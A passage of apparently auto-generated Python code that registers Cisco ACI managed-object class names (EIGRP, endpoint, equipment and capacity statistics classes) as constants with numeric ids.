prop._addConstant("eigrpIf", None, 5854) prop._addConstant("eigrpIfAf", None, 5855) prop._addConstant("eigrpIfAfStats", None, 5847) prop._addConstant("eigrpIfDef", None, 6047) prop._addConstant("eigrpIfP", None, 6044) prop._addConstant("eigrpIfPol", None, 6042) prop._addConstant("eigrpInst", None, 5849) prop._addConstant("eigrpInterLeakP", None, 5864) prop._addConstant("eigrpNexthop", None, 5857) prop._addConstant("eigrpRibLeakP", None, 6227) prop._addConstant("eigrpRoute", None, 5856) prop._addConstant("eigrpRsEppEigrpCtxDefaultPol", None, 6275) prop._addConstant("eigrpRsIfDefToEigrpIf", None, 6048) prop._addConstant("eigrpRsIfPol", None, 6045) prop._addConstant("eigrpRtCtrlP", None, 6062) prop._addConstant("eigrpRtCtxToEigrpCtxAfPol", None, 6061) prop._addConstant("eigrpRtEppEigrpCtxAfPol", None, 6057) prop._addConstant("eigrpRtEppEigrpCtxDefaultPol", None, 6276) prop._addConstant("eigrpRtEppEigrpIfPol", None, 6059) prop._addConstant("eigrpRtIfDefToEigrpIf", None, 6049) prop._addConstant("eigrpRtIfPol", None, 6046) prop._addConstant("eigrpRtMetricAlterP", None, 7882) prop._addConstant("eigrpRtSum", None, 7601) prop._addConstant("eigrpRtSummPol", None, 7712) prop._addConstant("eigrpRtSummPolDef", None, 7713) prop._addConstant("eigrpStubDef", None, 6041) prop._addConstant("eigrpStubP", None, 5853) prop._addConstant("eigrpStubPol", None, 6040) prop._addConstant("eigrpSummDef", None, 6052) prop._addConstant("eigrpSummPol", None, 6051) prop._addConstant("epControlP", None, 7308) prop._addConstant("epLoopProtectP", None, 6079) prop._addConstant("epRecord", None, 7305) prop._addConstant("epRtEpLoopProtectPolCons", None, 6076) prop._addConstant("epRtResLoopProtectPol", None, 6078) prop._addConstant("epRtToEpControlP", None, 7307) prop._addConstant("epRtToEpLoopProtectP", None, 7097) prop._addConstant("epmDb", None, 2269) prop._addConstant("epmDynEpgPolicyTrig", None, 6644) prop._addConstant("epmEpRec", None, 2264) prop._addConstant("epmIpEp", None, 2265) prop._addConstant("epmMacEp", None, 2266) prop._addConstant("epmRec", None, 2270) prop._addConstant("epmRsMacEpToIpEpAtt", None, 2267) prop._addConstant("epmRtMacEpToIpEpAtt", None, 2268) prop._addConstant("eptrkCompInfo", None, 6132) prop._addConstant("eptrkEpRslt", None, 5703) prop._addConstant("eptrkIpEpExec", None, 5701) prop._addConstant("eptrkIpEpRslt", None, 5706) prop._addConstant("eptrkKVInfo", None, 6133) prop._addConstant("eptrkMacEpExec", None, 5702) prop._addConstant("eptrkMacEpRslt", None, 5709) prop._addConstant("eqptACPU", None, 3348) prop._addConstant("eqptACore", None, 3351) prop._addConstant("eqptALPort", None, 3008) prop._addConstant("eqptALocLed", None, 3355) prop._addConstant("eqptAsic", None, 3361) prop._addConstant("eqptBSlot", None, 515) prop._addConstant("eqptBoard", None, 512) prop._addConstant("eqptBpSpLic", None, 3240) prop._addConstant("eqptBpSpSSN", None, 3241) prop._addConstant("eqptBpSpWWN", None, 3239) prop._addConstant("eqptCPU", None, 3349) prop._addConstant("eqptCard", None, 3200) prop._addConstant("eqptCh", None, 3337) prop._addConstant("eqptChLocateLTask", None, 4989) prop._addConstant("eqptChLocateRslt", None, 4990) prop._addConstant("eqptChOutOfServiceLTask", None, 4991) prop._addConstant("eqptChOutOfServiceRslt", None, 4992) prop._addConstant("eqptChReloadLTask", None, 4993) prop._addConstant("eqptChReloadRslt", None, 4994) prop._addConstant("eqptComp", None, 3275) prop._addConstant("eqptConsP", None, 3000) prop._addConstant("eqptConsoleP", None, 3232) prop._addConstant("eqptCont", None, 3360) prop._addConstant("eqptCore", None, 3352) prop._addConstant("eqptCpuP", None, 2996) prop._addConstant("eqptDimm", None, 3229) prop._addConstant("eqptEgrBytes", None, 3124) prop._addConstant("eqptEgrBytes15min", None, 3128) prop._addConstant("eqptEgrBytes1d", None, 3132) prop._addConstant("eqptEgrBytes1h", None, 3130) prop._addConstant("eqptEgrBytes1mo", None, 3136) prop._addConstant("eqptEgrBytes1qtr", None, 3138) prop._addConstant("eqptEgrBytes1w", None, 3134) prop._addConstant("eqptEgrBytes1year", None, 3140) prop._addConstant("eqptEgrBytes5min", None, 3126) prop._addConstant("eqptEgrBytesHist", None, 3125) prop._addConstant("eqptEgrBytesHist15min", None, 3129) prop._addConstant("eqptEgrBytesHist1d", None, 3133) prop._addConstant("eqptEgrBytesHist1h", None, 3131) prop._addConstant("eqptEgrBytesHist1mo", None, 3137) prop._addConstant("eqptEgrBytesHist1qtr", None, 3139) prop._addConstant("eqptEgrBytesHist1w", None, 3135) prop._addConstant("eqptEgrBytesHist1year", None, 3141) prop._addConstant("eqptEgrBytesHist5min", None, 3127) prop._addConstant("eqptEgrDropPkts", None, 3143) prop._addConstant("eqptEgrDropPkts15min", None, 3147) prop._addConstant("eqptEgrDropPkts1d", None, 3151) prop._addConstant("eqptEgrDropPkts1h", None, 3149) prop._addConstant("eqptEgrDropPkts1mo", None, 3155) prop._addConstant("eqptEgrDropPkts1qtr", None, 3157) prop._addConstant("eqptEgrDropPkts1w", None, 3153) prop._addConstant("eqptEgrDropPkts1year", None, 3159) prop._addConstant("eqptEgrDropPkts5min", None, 3145) prop._addConstant("eqptEgrDropPktsHist", None, 3144) prop._addConstant("eqptEgrDropPktsHist15min", None, 3148) prop._addConstant("eqptEgrDropPktsHist1d", None, 3152) prop._addConstant("eqptEgrDropPktsHist1h", None, 3150) prop._addConstant("eqptEgrDropPktsHist1mo", None, 3156) prop._addConstant("eqptEgrDropPktsHist1qtr", None, 3158) prop._addConstant("eqptEgrDropPktsHist1w", None, 3154) prop._addConstant("eqptEgrDropPktsHist1year", None, 3160) prop._addConstant("eqptEgrDropPktsHist5min", None, 3146) prop._addConstant("eqptEgrPkts", None, 3105) prop._addConstant("eqptEgrPkts15min", None, 3109) prop._addConstant("eqptEgrPkts1d", None, 3113) prop._addConstant("eqptEgrPkts1h", None, 3111) prop._addConstant("eqptEgrPkts1mo", None, 3117) prop._addConstant("eqptEgrPkts1qtr", None, 3119) prop._addConstant("eqptEgrPkts1w", None, 3115) prop._addConstant("eqptEgrPkts1year", None, 3121) prop._addConstant("eqptEgrPkts5min", None, 3107) prop._addConstant("eqptEgrPktsHist", None, 3106) prop._addConstant("eqptEgrPktsHist15min", None, 3110) prop._addConstant("eqptEgrPktsHist1d", None, 3114) prop._addConstant("eqptEgrPktsHist1h", None, 3112) prop._addConstant("eqptEgrPktsHist1mo", None, 3118) prop._addConstant("eqptEgrPktsHist1qtr", None, 3120) prop._addConstant("eqptEgrPktsHist1w", None, 3116) prop._addConstant("eqptEgrPktsHist1year", None, 3122) prop._addConstant("eqptEgrPktsHist5min", None, 3108) prop._addConstant("eqptEgrTotal", None, 3181) prop._addConstant("eqptEgrTotal15min", None, 3185) prop._addConstant("eqptEgrTotal1d", None, 3189) prop._addConstant("eqptEgrTotal1h", None, 3187) prop._addConstant("eqptEgrTotal1mo", None, 3193) prop._addConstant("eqptEgrTotal1qtr", None, 3195) prop._addConstant("eqptEgrTotal1w", None, 3191) prop._addConstant("eqptEgrTotal1year", None, 3197) prop._addConstant("eqptEgrTotal5min", None, 3183) prop._addConstant("eqptEgrTotalHist", None, 3182) prop._addConstant("eqptEgrTotalHist15min", None, 3186) prop._addConstant("eqptEgrTotalHist1d", None, 3190) prop._addConstant("eqptEgrTotalHist1h", None, 3188) prop._addConstant("eqptEgrTotalHist1mo", None, 3194) prop._addConstant("eqptEgrTotalHist1qtr", None, 3196) prop._addConstant("eqptEgrTotalHist1w", None, 3192) prop._addConstant("eqptEgrTotalHist1year", None, 3198) prop._addConstant("eqptEgrTotalHist5min", None, 3184) prop._addConstant("eqptEjPol", None, 3233) prop._addConstant("eqptEjec", None, 3234) prop._addConstant("eqptEntity", None, 3359) prop._addConstant("eqptEobcP", None, 2997) prop._addConstant("eqptEpcP", None, 2998) prop._addConstant("eqptExtAP", None, 514) prop._addConstant("eqptExtCh", None, 3338) prop._addConstant("eqptExtChCPU", None, 3350) prop._addConstant("eqptExtChCard", None, 3207) prop._addConstant("eqptExtChCardSlot", None, 3344) prop._addConstant("eqptExtChFP", None, 3007) prop._addConstant("eqptExtChHP", None, 3006) prop._addConstant("eqptExtChLocLed", None, 3357) prop._addConstant("eqptExtChLocateLTask", None, 4995) prop._addConstant("eqptExtChLocateRslt", None, 4996) prop._addConstant("eqptExtChReloadLTask", None, 4997) prop._addConstant("eqptExtChReloadRslt", None, 4998) prop._addConstant("eqptExtP", None, 2994) prop._addConstant("eqptFC", None, 3205) prop._addConstant("eqptFCLocateLTask", None, 4999) prop._addConstant("eqptFCLocateRslt", None, 5000) prop._addConstant("eqptFCReloadLTask", None, 5001) prop._addConstant("eqptFCReloadRslt", None, 5002) prop._addConstant("eqptFCSlot", None, 3342) prop._addConstant("eqptFabP", None, 3004) prop._addConstant("eqptFan", None, 3279) prop._addConstant("eqptFanStats", None, 3318) prop._addConstant("eqptFanStats15min", None, 3322) prop._addConstant("eqptFanStats1d", None, 3326) prop._addConstant("eqptFanStats1h", None, 3324) prop._addConstant("eqptFanStats1mo", None, 3330) prop._addConstant("eqptFanStats1qtr", None, 3332) prop._addConstant("eqptFanStats1w", None, 3328) prop._addConstant("eqptFanStats1year", None, 3334) prop._addConstant("eqptFanStats5min", None, 3320) prop._addConstant("eqptFanStatsHist", None, 3319) prop._addConstant("eqptFanStatsHist15min", None, 3323) prop._addConstant("eqptFanStatsHist1d", None, 3327) prop._addConstant("eqptFanStatsHist1h", None, 3325) prop._addConstant("eqptFanStatsHist1mo", None, 3331) prop._addConstant("eqptFanStatsHist1qtr", None, 3333) prop._addConstant("eqptFanStatsHist1w", None, 3329) prop._addConstant("eqptFanStatsHist1year", None, 3335) prop._addConstant("eqptFanStatsHist5min", None, 3321) prop._addConstant("eqptFlash", None, 3230) prop._addConstant("eqptFpga", None, 3231) prop._addConstant("eqptFru", None, 3276) prop._addConstant("eqptFruPower", None, 3280) prop._addConstant("eqptFruPower15min", None, 3284) prop._addConstant("eqptFruPower1d", None, 3288) prop._addConstant("eqptFruPower1h", None, 3286) prop._addConstant("eqptFruPower1mo", None, 3292) prop._addConstant("eqptFruPower1qtr", None, 3294) prop._addConstant("eqptFruPower1w", None, 3290) prop._addConstant("eqptFruPower1year", None, 3296) prop._addConstant("eqptFruPower5min", None, 3282) prop._addConstant("eqptFruPowerHist", None, 3281) prop._addConstant("eqptFruPowerHist15min", None, 3285) prop._addConstant("eqptFruPowerHist1d", None, 3289) prop._addConstant("eqptFruPowerHist1h", None, 3287) prop._addConstant("eqptFruPowerHist1mo", None, 3293) prop._addConstant("eqptFruPowerHist1qtr", None, 3295) prop._addConstant("eqptFruPowerHist1w", None, 3291) prop._addConstant("eqptFruPowerHist1year", None, 3297) prop._addConstant("eqptFruPowerHist5min", None, 3283) prop._addConstant("eqptFt", None, 3278) prop._addConstant("eqptFtLocateLTask", None, 5003) prop._addConstant("eqptFtLocateRslt", None, 5004) prop._addConstant("eqptFtSlot", None, 3346) prop._addConstant("eqptIndLed", None, 3354) prop._addConstant("eqptIngrBytes", None, 3048) prop._addConstant("eqptIngrBytes15min", None, 3052) prop._addConstant("eqptIngrBytes1d", None, 3056) prop._addConstant("eqptIngrBytes1h", None, 3054) prop._addConstant("eqptIngrBytes1mo", None, 3060) prop._addConstant("eqptIngrBytes1qtr", None, 3062) prop._addConstant("eqptIngrBytes1w", None, 3058) prop._addConstant("eqptIngrBytes1year", None, 3064) prop._addConstant("eqptIngrBytes5min", None, 3050) prop._addConstant("eqptIngrBytesHist", None, 3049) prop._addConstant("eqptIngrBytesHist15min", None, 3053) prop._addConstant("eqptIngrBytesHist1d", None, 3057) prop._addConstant("eqptIngrBytesHist1h", None, 3055) prop._addConstant("eqptIngrBytesHist1mo", None, 3061) prop._addConstant("eqptIngrBytesHist1qtr", None, 3063) prop._addConstant("eqptIngrBytesHist1w", None, 3059) prop._addConstant("eqptIngrBytesHist1year", None, 3065) prop._addConstant("eqptIngrBytesHist5min", None, 3051) prop._addConstant("eqptIngrDropPkts", None, 3086) prop._addConstant("eqptIngrDropPkts15min", None, 3090) prop._addConstant("eqptIngrDropPkts1d", None, 3094) prop._addConstant("eqptIngrDropPkts1h", None, 3092) prop._addConstant("eqptIngrDropPkts1mo", None, 3098) prop._addConstant("eqptIngrDropPkts1qtr", None, 3100) prop._addConstant("eqptIngrDropPkts1w", None, 3096) prop._addConstant("eqptIngrDropPkts1year", None, 3102) prop._addConstant("eqptIngrDropPkts5min", None, 3088) prop._addConstant("eqptIngrDropPktsHist", None, 3087) prop._addConstant("eqptIngrDropPktsHist15min", None, 3091) prop._addConstant("eqptIngrDropPktsHist1d", None, 3095) prop._addConstant("eqptIngrDropPktsHist1h", None, 3093) prop._addConstant("eqptIngrDropPktsHist1mo", None, 3099) prop._addConstant("eqptIngrDropPktsHist1qtr", None, 3101) prop._addConstant("eqptIngrDropPktsHist1w", None, 3097) prop._addConstant("eqptIngrDropPktsHist1year", None, 3103) prop._addConstant("eqptIngrDropPktsHist5min", None, 3089) prop._addConstant("eqptIngrPkts", None, 3010) prop._addConstant("eqptIngrPkts15min", None, 3014) prop._addConstant("eqptIngrPkts1d", None, 3018) prop._addConstant("eqptIngrPkts1h", None, 3016) prop._addConstant("eqptIngrPkts1mo", None, 3022) prop._addConstant("eqptIngrPkts1qtr", None, 3024) prop._addConstant("eqptIngrPkts1w", None, 3020) prop._addConstant("eqptIngrPkts1year", None, 3026) prop._addConstant("eqptIngrPkts5min", None, 3012) prop._addConstant("eqptIngrPktsHist", None, 3011) prop._addConstant("eqptIngrPktsHist15min", None, 3015) prop._addConstant("eqptIngrPktsHist1d", None, 3019) prop._addConstant("eqptIngrPktsHist1h", None, 3017) prop._addConstant("eqptIngrPktsHist1mo", None, 3023) prop._addConstant("eqptIngrPktsHist1qtr", None, 3025) prop._addConstant("eqptIngrPktsHist1w", None, 3021) prop._addConstant("eqptIngrPktsHist1year", None, 3027) prop._addConstant("eqptIngrPktsHist5min", None, 3013) prop._addConstant("eqptIngrStorm", None, 5937) prop._addConstant("eqptIngrStorm15min", None, 5941) prop._addConstant("eqptIngrStorm1d", None, 5945) prop._addConstant("eqptIngrStorm1h", None, 5943) prop._addConstant("eqptIngrStorm1mo", None, 5949) prop._addConstant("eqptIngrStorm1qtr", None, 5951) prop._addConstant("eqptIngrStorm1w", None, 5947) prop._addConstant("eqptIngrStorm1year", None, 5953) prop._addConstant("eqptIngrStorm5min", None, 5939) prop._addConstant("eqptIngrStormHist", None, 5938) prop._addConstant("eqptIngrStormHist15min", None, 5942) prop._addConstant("eqptIngrStormHist1d", None, 5946) prop._addConstant("eqptIngrStormHist1h", None, 5944) prop._addConstant("eqptIngrStormHist1mo", None, 5950) prop._addConstant("eqptIngrStormHist1qtr", None, 5952) prop._addConstant("eqptIngrStormHist1w", None, 5948) prop._addConstant("eqptIngrStormHist1year", None, 5954) prop._addConstant("eqptIngrStormHist5min", None, 5940) prop._addConstant("eqptIngrTotal", None, 3162) prop._addConstant("eqptIngrTotal15min", None, 3166) prop._addConstant("eqptIngrTotal1d", None, 3170) prop._addConstant("eqptIngrTotal1h", None, 3168) prop._addConstant("eqptIngrTotal1mo", None, 3174) prop._addConstant("eqptIngrTotal1qtr", None, 3176) prop._addConstant("eqptIngrTotal1w", None, 3172) prop._addConstant("eqptIngrTotal1year", None, 3178) prop._addConstant("eqptIngrTotal5min", None, 3164) prop._addConstant("eqptIngrTotalHist", None, 3163) prop._addConstant("eqptIngrTotalHist15min", None, 3167) prop._addConstant("eqptIngrTotalHist1d", None, 3171) prop._addConstant("eqptIngrTotalHist1h", None, 3169) prop._addConstant("eqptIngrTotalHist1mo", None, 3175) prop._addConstant("eqptIngrTotalHist1qtr", None, 3177) prop._addConstant("eqptIngrTotalHist1w", None, 3173) prop._addConstant("eqptIngrTotalHist1year", None, 3179) prop._addConstant("eqptIngrTotalHist5min", None, 3165) prop._addConstant("eqptIngrUnkBytes", None, 3067) prop._addConstant("eqptIngrUnkBytes15min", None, 3071) prop._addConstant("eqptIngrUnkBytes1d", None, 3075) prop._addConstant("eqptIngrUnkBytes1h", None, 3073) prop._addConstant("eqptIngrUnkBytes1mo", None, 3079) prop._addConstant("eqptIngrUnkBytes1qtr", None, 3081) prop._addConstant("eqptIngrUnkBytes1w", None, 3077) prop._addConstant("eqptIngrUnkBytes1year", None, 3083) prop._addConstant("eqptIngrUnkBytes5min", None, 3069) prop._addConstant("eqptIngrUnkBytesHist", None, 3068) prop._addConstant("eqptIngrUnkBytesHist15min", None, 3072) prop._addConstant("eqptIngrUnkBytesHist1d", None, 3076) prop._addConstant("eqptIngrUnkBytesHist1h", None, 3074) prop._addConstant("eqptIngrUnkBytesHist1mo", None, 3080) prop._addConstant("eqptIngrUnkBytesHist1qtr", None, 3082) prop._addConstant("eqptIngrUnkBytesHist1w", None, 3078) prop._addConstant("eqptIngrUnkBytesHist1year", None, 3084) prop._addConstant("eqptIngrUnkBytesHist5min", None, 3070) prop._addConstant("eqptIngrUnkPkts", None, 3029) prop._addConstant("eqptIngrUnkPkts15min", None, 3033) prop._addConstant("eqptIngrUnkPkts1d", None, 3037) prop._addConstant("eqptIngrUnkPkts1h", None, 3035) prop._addConstant("eqptIngrUnkPkts1mo", None, 3041) prop._addConstant("eqptIngrUnkPkts1qtr", None, 3043) prop._addConstant("eqptIngrUnkPkts1w", None, 3039) prop._addConstant("eqptIngrUnkPkts1year", None, 3045) prop._addConstant("eqptIngrUnkPkts5min", None, 3031) prop._addConstant("eqptIngrUnkPktsHist", None, 3030) prop._addConstant("eqptIngrUnkPktsHist15min", None, 3034) prop._addConstant("eqptIngrUnkPktsHist1d", None, 3038) prop._addConstant("eqptIngrUnkPktsHist1h", None, 3036) prop._addConstant("eqptIngrUnkPktsHist1mo", None, 3042) prop._addConstant("eqptIngrUnkPktsHist1qtr", None, 3044) prop._addConstant("eqptIngrUnkPktsHist1w", None, 3040) prop._addConstant("eqptIngrUnkPktsHist1year", None, 3046) prop._addConstant("eqptIngrUnkPktsHist5min", None, 3032) prop._addConstant("eqptIntP", None, 2995) prop._addConstant("eqptIoP", None, 3001) prop._addConstant("eqptItem", None, 3358) prop._addConstant("eqptLC", None, 3204) prop._addConstant("eqptLCLocateLTask", None, 5005) prop._addConstant("eqptLCLocateRslt", None, 5006) prop._addConstant("eqptLCReloadLTask", None, 5007) prop._addConstant("eqptLCReloadRslt", None, 5008) prop._addConstant("eqptLCSlot", None, 3341) prop._addConstant("eqptLPort", None, 3009) prop._addConstant("eqptLeafP", None, 3005) prop._addConstant("eqptLed", None, 3353) prop._addConstant("eqptLocLed", None, 3356) prop._addConstant("eqptMem", None, 3228) prop._addConstant("eqptMgmtP", None, 2999) prop._addConstant("eqptNSlot", None, 516) prop._addConstant("eqptNic", None, 513) prop._addConstant("eqptObfl", None, 3208) prop._addConstant("eqptPort", None, 2993) prop._addConstant("eqptPsPower", None, 3299) prop._addConstant("eqptPsPower15min", None, 3303) prop._addConstant("eqptPsPower1d", None, 3307) prop._addConstant("eqptPsPower1h", None, 3305) prop._addConstant("eqptPsPower1mo", None, 3311) prop._addConstant("eqptPsPower1qtr", None, 3313) prop._addConstant("eqptPsPower1w", None, 3309) prop._addConstant("eqptPsPower1year", None, 3315) prop._addConstant("eqptPsPower5min", None, 3301) prop._addConstant("eqptPsPowerHist", None, 3300) prop._addConstant("eqptPsPowerHist15min", None, 3304) prop._addConstant("eqptPsPowerHist1d", None, 3308) prop._addConstant("eqptPsPowerHist1h", None, 3306) prop._addConstant("eqptPsPowerHist1mo", None, 3312) prop._addConstant("eqptPsPowerHist1qtr", None, 3314) prop._addConstant("eqptPsPowerHist1w", None, 3310) prop._addConstant("eqptPsPowerHist1year", None, 3316) prop._addConstant("eqptPsPowerHist5min", None, 3302) prop._addConstant("eqptPsgP", None, 2990) prop._addConstant("eqptPsu", None, 2989) prop._addConstant("eqptPsuSlot", None, 3345) prop._addConstant("eqptRsIoPPhysConf", None, 3002) prop._addConstant("eqptRsMonPolModulePolCons", None, 3201) prop._addConstant("eqptRsPsuInstPolCons", None, 2991) prop._addConstant("eqptRtCcepConn", None, 2049) prop._addConstant("eqptRtExtChCardOdDiag", None, 2250) prop._addConstant("eqptRtFcOdDiag", None, 2244) prop._addConstant("eqptRtFpOdDiag", None, 2234) prop._addConstant("eqptRtLcOdDiag", None, 2247) prop._addConstant("eqptRtLpOdDiag", None, 2231) prop._addConstant("eqptRtOosSlot", None, 5551) prop._addConstant("eqptRtSupCOdDiag", None, 2238) prop._addConstant("eqptRtSysCOdDiag", None, 2241) prop._addConstant("eqptSensor", None, 3255) prop._addConstant("eqptSilicon", None, 3277) prop._addConstant("eqptSlot", None, 3339) prop._addConstant("eqptSlotP", None, 3347) prop._addConstant("eqptSlotSetInServiceLTask", None, 5552) prop._addConstant("eqptSlotSetInServiceRslt", None, 5553) prop._addConstant("eqptSpBlkHdr", None, 3235) prop._addConstant("eqptSpCmnBlk", None, 3236) prop._addConstant("eqptSpPd", None, 3237) prop._addConstant("eqptSpSd", None, 3238) prop._addConstant("eqptSpSensorBlk", None, 3248) prop._addConstant("eqptSprom", None, 3249) prop._addConstant("eqptSpromBP", None, 3252) prop._addConstant("eqptSpromBPBlk", None, 3245) prop._addConstant("eqptSpromFan", None, 3250) prop._addConstant("eqptSpromFanBlk", None, 3242) prop._addConstant("eqptSpromFanSN", None, 3243) prop._addConstant("eqptSpromLc", None, 3254) prop._addConstant("eqptSpromLcBlk", None, 3247) prop._addConstant("eqptSpromPsu", None, 3251) prop._addConstant("eqptSpromPsuBlk", None, 3244) prop._addConstant("eqptSpromSup", None, 3253) prop._addConstant("eqptSpromSupBlk", None, 3246) prop._addConstant("eqptStorage", None, 517) prop._addConstant("eqptSupC", None, 3203) prop._addConstant("eqptSupCLocateLTask", None, 5009) prop._addConstant("eqptSupCLocateRslt", None, 5010) prop._addConstant("eqptSupCReloadLTask", None, 5011) prop._addConstant("eqptSupCReloadRslt", None, 5012) prop._addConstant("eqptSupCSlot", None, 3340) prop._addConstant("eqptSysC", None, 3206) prop._addConstant("eqptSysCLocateLTask", None, 5013) prop._addConstant("eqptSysCLocateRslt", None, 5014) prop._addConstant("eqptSysCReloadLTask", None, 5015) prop._addConstant("eqptSysCReloadRslt", None, 5016) prop._addConstant("eqptSysCSlot", None, 3343) prop._addConstant("eqptTemp", None, 3256) prop._addConstant("eqptTemp15min", None, 3260) prop._addConstant("eqptTemp1d", None, 3264) prop._addConstant("eqptTemp1h", None, 3262) prop._addConstant("eqptTemp1mo", None, 3268) prop._addConstant("eqptTemp1qtr", None, 3270) prop._addConstant("eqptTemp1w", None, 3266) prop._addConstant("eqptTemp1year", None, 3272) prop._addConstant("eqptTemp5min", None, 3258) prop._addConstant("eqptTempHist", None, 3257) prop._addConstant("eqptTempHist15min", None, 3261) prop._addConstant("eqptTempHist1d", None, 3265) prop._addConstant("eqptTempHist1h", None, 3263) prop._addConstant("eqptTempHist1mo", None, 3269) prop._addConstant("eqptTempHist1qtr", None, 3271) prop._addConstant("eqptTempHist1w", None, 3267) prop._addConstant("eqptTempHist1year", None, 3273) prop._addConstant("eqptTempHist5min", None, 3259) prop._addConstant("eqptcapAMfgDef", None, 800) prop._addConstant("eqptcapCard", None, 795) prop._addConstant("eqptcapFan", None, 798) prop._addConstant("eqptcapHolderCapProvider", None, 793) prop._addConstant("eqptcapHwCapProvider", None, 792) prop._addConstant("eqptcapMfgDef", None, 801) prop._addConstant("eqptcapPhysicalDef", None, 803) prop._addConstant("eqptcapPort", None, 796) prop._addConstant("eqptcapPsu", None, 797) prop._addConstant("eqptcapSfp", None, 799) prop._addConstant("eqptcapSfpMfgDef", None, 802) prop._addConstant("eqptcapSystem", None, 794) prop._addConstant("eqptcapacityBDEntry", None, 2870) prop._addConstant("eqptcapacityBDEntry15min", None, 2874) prop._addConstant("eqptcapacityBDEntry1d", None, 2878) prop._addConstant("eqptcapacityBDEntry1h", None, 2876) prop._addConstant("eqptcapacityBDEntry1mo", None, 2882) prop._addConstant("eqptcapacityBDEntry1qtr", None, 2884) prop._addConstant("eqptcapacityBDEntry1w", None, 2880) prop._addConstant("eqptcapacityBDEntry1year", None, 2886) prop._addConstant("eqptcapacityBDEntry5min", None, 2872) prop._addConstant("eqptcapacityBDEntryHist", None, 2871) prop._addConstant("eqptcapacityBDEntryHist15min", None, 2875) prop._addConstant("eqptcapacityBDEntryHist1d", None, 2879) prop._addConstant("eqptcapacityBDEntryHist1h", None, 2877) prop._addConstant("eqptcapacityBDEntryHist1mo", None, 2883) prop._addConstant("eqptcapacityBDEntryHist1qtr", None, 2885) prop._addConstant("eqptcapacityBDEntryHist1w", None, 2881) prop._addConstant("eqptcapacityBDEntryHist1year", None, 2887) prop._addConstant("eqptcapacityBDEntryHist5min", None, 2873) prop._addConstant("eqptcapacityEntity", None, 2908) prop._addConstant("eqptcapacityFSPartition", None, 7016) prop._addConstant("eqptcapacityL2Entry", None, 2889) prop._addConstant("eqptcapacityL2Entry15min", None, 2893) prop._addConstant("eqptcapacityL2Entry1d", None, 2897) prop._addConstant("eqptcapacityL2Entry1h", None, 2895) prop._addConstant("eqptcapacityL2Entry1mo", None, 2901) prop._addConstant("eqptcapacityL2Entry1qtr", None, 2903) prop._addConstant("eqptcapacityL2Entry1w", None, 2899) prop._addConstant("eqptcapacityL2Entry1year", None, 2905) prop._addConstant("eqptcapacityL2Entry5min", None, 2891) prop._addConstant("eqptcapacityL2EntryHist", None, 2890) prop._addConstant("eqptcapacityL2EntryHist15min", None, 2894) prop._addConstant("eqptcapacityL2EntryHist1d", None, 2898) prop._addConstant("eqptcapacityL2EntryHist1h", None, 2896) prop._addConstant("eqptcapacityL2EntryHist1mo", None, 2902) prop._addConstant("eqptcapacityL2EntryHist1qtr", None, 2904) prop._addConstant("eqptcapacityL2EntryHist1w", None, 2900) prop._addConstant("eqptcapacityL2EntryHist1year", None, 2906) prop._addConstant("eqptcapacityL2EntryHist5min", None, 2892) prop._addConstant("eqptcapacityL2Usage", None, 6689) prop._addConstant("eqptcapacityL2Usage15min", None, 6693) prop._addConstant("eqptcapacityL2Usage1d", None, 6697) prop._addConstant("eqptcapacityL2Usage1h", None, 6695) prop._addConstant("eqptcapacityL2Usage1mo", None, 6701) prop._addConstant("eqptcapacityL2Usage1qtr", None, 6703) prop._addConstant("eqptcapacityL2Usage1w", None, 6699) prop._addConstant("eqptcapacityL2Usage1year", None, 6705) prop._addConstant("eqptcapacityL2Usage5min", None, 6691) prop._addConstant("eqptcapacityL2UsageHist", None, 6690) prop._addConstant("eqptcapacityL2UsageHist15min", None, 6694) prop._addConstant("eqptcapacityL2UsageHist1d", None, 6698) prop._addConstant("eqptcapacityL2UsageHist1h", None, 6696) prop._addConstant("eqptcapacityL2UsageHist1mo", None, 6702) prop._addConstant("eqptcapacityL2UsageHist1qtr", None, 6704) prop._addConstant("eqptcapacityL2UsageHist1w", None, 6700) prop._addConstant("eqptcapacityL2UsageHist1year", None, 6706) prop._addConstant("eqptcapacityL2UsageHist5min", None, 6692) prop._addConstant("eqptcapacityL3Entry", None, 2909) prop._addConstant("eqptcapacityL3Entry15min", None, 2913) prop._addConstant("eqptcapacityL3Entry1d", None, 2917) prop._addConstant("eqptcapacityL3Entry1h", None, 2915) prop._addConstant("eqptcapacityL3Entry1mo", None, 2921) prop._addConstant("eqptcapacityL3Entry1qtr", None, 2923) prop._addConstant("eqptcapacityL3Entry1w", None, 2919) prop._addConstant("eqptcapacityL3Entry1year", None, 2925) prop._addConstant("eqptcapacityL3Entry5min", None, 2911) prop._addConstant("eqptcapacityL3EntryHist", None, 2910) prop._addConstant("eqptcapacityL3EntryHist15min", None, 2914) prop._addConstant("eqptcapacityL3EntryHist1d", None, 2918) prop._addConstant("eqptcapacityL3EntryHist1h", None, 2916) prop._addConstant("eqptcapacityL3EntryHist1mo", None, 2922) prop._addConstant("eqptcapacityL3EntryHist1qtr", None, 2924) prop._addConstant("eqptcapacityL3EntryHist1w", None, 2920) prop._addConstant("eqptcapacityL3EntryHist1year", None, 2926) prop._addConstant("eqptcapacityL3EntryHist5min", None, 2912) prop._addConstant("eqptcapacityL3Usage", None, 6725) prop._addConstant("eqptcapacityL3Usage15min", None, 6729) prop._addConstant("eqptcapacityL3Usage1d", None, 6733) prop._addConstant("eqptcapacityL3Usage1h", None, 6731) prop._addConstant("eqptcapacityL3Usage1mo", None, 6737) prop._addConstant("eqptcapacityL3Usage1qtr", None, 6739) prop._addConstant("eqptcapacityL3Usage1w", None, 6735) prop._addConstant("eqptcapacityL3Usage1year", None, 6741) prop._addConstant("eqptcapacityL3Usage5min", None, 6727) prop._addConstant("eqptcapacityL3UsageCap", None, 6907) prop._addConstant("eqptcapacityL3UsageCap15min", None, 6911) prop._addConstant("eqptcapacityL3UsageCap1d", None, 6915) prop._addConstant("eqptcapacityL3UsageCap1h", None, 6913) prop._addConstant("eqptcapacityL3UsageCap1mo", None, 6919) prop._addConstant("eqptcapacityL3UsageCap1qtr", None, 6921) prop._addConstant("eqptcapacityL3UsageCap1w", None, 6917) prop._addConstant("eqptcapacityL3UsageCap1year", None, 6923) prop._addConstant("eqptcapacityL3UsageCap5min", None, 6909) prop._addConstant("eqptcapacityL3UsageCapHist", None, 6908) prop._addConstant("eqptcapacityL3UsageCapHist15min", None, 6912) prop._addConstant("eqptcapacityL3UsageCapHist1d", None, 6916) prop._addConstant("eqptcapacityL3UsageCapHist1h", None, 6914) prop._addConstant("eqptcapacityL3UsageCapHist1mo", None, 6920) prop._addConstant("eqptcapacityL3UsageCapHist1qtr", None, 6922) 